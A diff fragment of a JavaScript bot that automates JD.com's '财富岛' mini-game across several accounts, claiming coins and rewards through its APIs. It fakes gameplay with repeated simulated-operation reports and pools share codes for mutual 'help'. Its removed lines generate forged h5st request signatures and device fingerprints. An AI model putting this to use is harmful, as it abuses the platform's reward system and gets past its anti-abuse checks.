console.log(`当前暂无收藏家\n`) + } + } + } else { + console.log(`当前暂无收藏家\n`) + } + + //美人鱼 + console.log(`美人鱼`) + if ($.info.StoryInfo.StoryList) { + await $.wait(2000) + for (let key of Object.keys($.info.StoryInfo.StoryList)) { + let vo = $.info.StoryInfo.StoryList[key] + if (vo.Mermaid) { + if (vo.Mermaid.dwIsToday === 1) { + console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) + await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) + } else if (vo.Mermaid.dwIsToday === 0) { + await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) + } + } else { + console.log(`当前暂无美人鱼\n`) + } + } + } else { + console.log(`当前暂无美人鱼\n`) + } + + //倒垃圾 + await $.wait(2000) + await queryRubbishInfo() + + //雇导游 + await $.wait(2000); + await employTourGuideInfo(); + + console.log(`\n做任务`) + //牛牛任务 + await $.wait(2000) + await getActTask() + + //日常任务 + await $.wait(2000); + await getTaskList(0); + await $.wait(2000); + await browserTask(0); + + //成就任务 + await $.wait(2000); + await getTaskList(1); + await $.wait(2000); + await browserTask(1); + + await $.wait(2000); + const endInfo = await getUserInfo(false); + $.result.push( + `【京东账号${$.index}】${$.nickName || $.UserName}`, + `【🥇金币】${endInfo.ddwCoinBalance}`, + `【💵财富值】${endInfo.ddwRichBalance}\n`, + ); + + // $.result.push( + // `【京东账号${$.index}】${$.nickName || $.UserName}`, + // `【💵财富值】任务前: ${beginInfo.ddwRichBalance}\n【💵财富值】任务后: ${endInfo.ddwRichBalance}`, + // `【💵财富值】净增值: ${endInfo.ddwRichBalance - beginInfo.ddwRichBalance}\n` + // ); + } catch (e) { + $.logErr(e) + } + } + + // 合成珍珠 + async function composeGameState(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/ComposeGameState`, `dwFirst=1`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposeGameState API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + console.log(`合成珍珠`) + if (data.iRet === 0) { + if (data.dwCurProgress < data.stagelist[data.stagelist.length - 1].dwCurStageEndCnt && data.strDT) { + let count = data.stagelist[data.stagelist.length - 1].dwCurStageEndCnt + console.log(`当前已合成${data.dwCurProgress}颗珍珠,还需合成珍珠${count - data.dwCurProgress}颗\n`) + for (let j = data.dwCurProgress; j < count; j++) { + let num = Math.ceil(Math.random() * 12 + 12) + console.log(`合成珍珠:模拟操作${num}次`) + for (let v = 0; v < num; v++) { + console.log(`模拟操作进度:${v + 1}/${num}`) + await $.wait(2000) + await realTmReport(data.strMyShareId) + } + let res = await composeGameAddProcess(data.strDT) + if (res.iRet === 0) { + console.log(`\n合成珍珠成功:${j + 1}/${count}\n`) + } else { + console.log(`\n合成珍珠失败:${data.sErrMsg}\n`) + } + } + let composeGameStateRes = await composeGameState(false) + console.log("合成珍珠领奖") + for (let key of Object.keys(composeGameStateRes.stagelist)) { + let vo = composeGameStateRes.stagelist[key] + if (vo.dwIsAward == 0 && composeGameStateRes.dwCurProgress >= vo.dwCurStageEndCnt) { + await $.wait(2000) + await composeGameAward(vo.dwCurStageEndCnt) + } + } + } else { + console.log(`今日已完成\n`) + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function realTmReport(strMyShareId) { + return new Promise((resolve) => { + $.get(taskUrl(`user/RealTmReport`, `dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=5`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + function composeGameAddProcess(strDT) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposeGameAddProcess`, `strBT=${strDT}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposeGameAddProcess API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function composeGameAward(dwCurStageEndCnt) { + return new Promise((resolve) => { + $.get(taskUrl(`user/ComposeGameAward`, `dwCurStageEndCnt=${dwCurStageEndCnt}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ComposeGameAward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + if (data.dwPrizeType === 0) { + console.log(`合成珍珠领奖成功:获得${data.ddwCoin}金币`) + } else if (data.dwPrizeType === 1) { + console.log(`合成珍珠领奖成功:获得${data.ddwMoney}财富\n`) + } + } else { + console.log(`合成珍珠领奖失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + + // 接待贵宾 + function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { + return new Promise((resolve) => { + $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (dwType === '2') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'下船成功`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) + } + } else if (dwType === '3') { + if (data.iRet === 0 || data.sErrMsg === "success") { + console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) + } else { + console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 收藏家 + function collectorOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise((resolve) => { + $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + + // 美人鱼 + async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + switch (dwType) { + case '1': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`开始解救美人鱼`) + dwType = '3' + await mermaidOper(strStoryId, dwType, ddwTriggerDay) + await $.wait(2000) + } else { + console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '2': + break + case '3': + if (data.iRet === 0 || data.sErrMsg === 'success') { + dwType = '2' + let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) + console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) + } else { + console.log(`解救美人鱼失败:${data.sErrMsg}\n`) + } + break + case '4': + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) + } else { + console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) + } + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + + // 卖贝壳 + async function querystorageroom(dwSceneId) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(2000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 每日签到 + async function getTakeAggrPage(type) { + return new Promise(async (resolve) => { + switch (type) { + case 'sign': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`每日签到`) + for (let key of Object.keys(data.Data.Sign.SignList)) { + let vo = data.Data.Sign.SignList[key] + if (vo.dwDayId === data.Data.Sign.dwTodayId) { + if (vo.dwStatus !== 1) { + const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}` + await rewardSign(body) + await $.wait(2000) + } else { + console.log(`今日已签到\n`) + break + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'helpdraw': + $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`领助力奖励`) + let helpNum = [] + for (let key of Object.keys(data.Data.Employee.EmployeeList)) { + let vo = data.Data.Employee.EmployeeList[key] + if (vo.dwStatus !== 1) { + helpNum.push(vo.dwId) + } + } + if (helpNum.length !== 0) { + for (let j = 0; j < helpNum.length; j++) { + await helpdraw(helpNum[j]) + await $.wait(2000) + } + } else { + console.log(`暂无可领助力奖励`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) + } + function rewardSign(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/RewardSign`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.ddwCoin) { + console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) + } else if (data.Data.ddwMoney) { + console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) + } else if (data.Data.strPrizeName) { + console.log(`签到成功:获得${data.Data.strPrizeName}\n`) + } else { + console.log(`签到成功:很遗憾未中奖~\n`) + } + } else { + console.log(`签到失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + function helpdraw(dwUserId) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === "success") { + if (data.Data.StagePrizeInfo) { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) + } else { + console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) + } + } else { + console.log(`领取助力奖励失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 倒垃圾 + async function queryRubbishInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`倒垃圾`) + if (data.Data.StoryInfo.StoryList.length !== 0) { + for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { + let vo = data.Data.StoryInfo.StoryList[key] + if (vo.Rubbish) { + await $.wait(2000) + let rubbishOperRes = await rubbishOper('1') + if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { + console.log(`获取垃圾信息成功:本次需要垃圾分类`) + for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { + let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] + await $.wait(2000) + var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) + } + if (rubbishOperTwoRes.iRet === 0) { + let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish + console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) + } + } else { + console.log(`获取垃圾信息成功:本次不需要垃圾分类`) + if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { + console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) + } else { + console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } else { + console.log(`当前暂无垃圾\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + function rubbishOper(dwType, body = '') { + return new Promise((resolve) => { + switch(dwType) { + case '1': + $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + case '2': + $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + break + default: + break + } + }) + } + + // 牛牛任务 + async function getActTask(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if (vo.dwOrderId === 1 && vo.dwCompleteNum !== vo.dwTargetNum) { + console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) + for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { + console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) + await doTask(vo.ddwTaskId, 2) + await $.wait(2000) + } + } + } + data = await getActTask(false) + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if (vo.dwCompleteNum >= vo.dwTargetNum && vo.dwAwardStatus !== 1) { + await awardActTask('Award', vo) + await $.wait(2000) + } + } + data = await getActTask(false) + if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { + if (data.Data.dwStatus !== 4) { + console.log(`【🐮牛牛任务】已做完,去开启宝箱`) + await awardActTask('story/ActTaskAward') + await $.wait(2000) + } else { + console.log(`【🐮牛牛任务】已做完,宝箱已开启`) + } + } else { + console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) + } + function awardActTask(function_path, taskInfo = '') { + const { ddwTaskId, strTaskName} = taskInfo + return new Promise((resolve) => { + switch (function_path) { + case 'Award': + $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'story/ActTaskAward': + $.get(taskUrl(function_path), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) + } else { + console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) + } + + // 导游 + async function employTourGuideInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/EmployTourGuideInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} EmployTourGuideInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`雇导游`) + let minProductCoin = data.TourGuideList[0].ddwProductCoin + for(let key of Object.keys(data.TourGuideList)) { + let vo = data.TourGuideList[key] + if (vo.ddwProductCoin < minProductCoin) { + minProductCoin = vo.ddwProductCoin + } + } + for(let key of Object.keys(data.TourGuideList)) { + let vo = data.TourGuideList[key] + let buildNmae; + switch(vo.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if(vo.ddwRemainTm === 0 && vo.ddwProductCoin !== minProductCoin) { + let dwIsFree; + if(vo.dwFreeMin !== 0) { + dwIsFree = 1 + } else { + dwIsFree = 0 + } + console.log(`【${buildNmae}】雇佣费用:${vo.ddwCostCoin}金币 增加收益:${vo.ddwProductCoin}金币`) + const body = `strBuildIndex=${vo.strBuildIndex}&dwIsFree=${dwIsFree}&ddwConsumeCoin=${vo.ddwCostCoin}` + await employTourGuide(body, buildNmae) + } else if (vo.ddwProductCoin !== minProductCoin) { + console.log(`【${buildNmae}】无可雇佣导游`) + } + await $.wait(2000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + function employTourGuide(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/EmployTourGuide`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} EmployTourGuide API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) { + console.log(`【${buildNmae}】雇佣导游成功`) + } else { + console.log(`【${buildNmae}】雇佣导游失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 升级建筑 + async function getBuildInfo(body, buildList, type = true) { + let twobody = body + return new Promise(async (resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + let buildNmae; + switch(buildList.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if (data.dwBuildLvl === 0) { + console.log(`创建建筑`) + console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) + await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) + await $.wait(2000) + data = await getBuildInfo(twobody, buildList, false) + await $.wait(2000) + } + console.log(`收金币`) + const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` + let collectCoinRes = await collectCoin(body) + console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) + await $.wait(2000) + await getUserInfo(false) + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) + console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `ddwCostCoin=${data.ddwNextLvlCostCoin}&strBuildIndex=${data.strBuildIndex}` + let buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } + } else { + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function collectCoin(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function createbuilding(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + // 助力 + function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2232 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号或被助力的账号可能已黑,请联系客服`) + // $.canHelp = false + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + + function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) + } + + // 获取用户信息 + function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${escape('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task')}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { + buildInfo = {}, + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + Fund = {}, + StoryInfo = {}, + Business = {} + } = data; + if (showInvite) { + console.log(`\n获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的可继续使用`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}\n\n`); + $.shareCodes.push(strMyShareId) + } + $.info = { + ...$.info, + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + Fund, + StoryInfo + }; + resolve({ + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + Fund, + StoryInfo + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) + } + + //任务 + function getTaskList(taskType) { + return new Promise(async (resolve) => { + switch (taskType){ + case 0: //日常任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data); + $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); + if($.allTask.length === 0) { + console.log(`【📆日常任务】已做完`) + } else { + console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + case 1: //成就任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data); + $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); + if($.allTask.length === 0) { + console.log(`【🎖成就任务】没有可领奖的任务\n`) + } else { + console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + default: + break; + } }); - var hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat(appId.toString()), "".concat(token), "".concat(hash2)].join(";")); -} -function generateFp() { - var e = "0123456789"; - var a = 13; - var i = ''; - for (; a--;) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0, 16); -} -function getQueryString(url, name) { - var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); - var r = url.split('?')[1].match(reg); - if (r != null) - return unescape(r[2]); - return ''; -} \ No newline at end of file + } + + //浏览任务 + 做任务 + 领取奖励 + function browserTask(taskType) { + return new Promise(async (resolve) => { + switch (taskType) { + case 0://日常任务 + for (let i = 0; i < $.allTask.length; i++) { + const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes + const taskinfo = 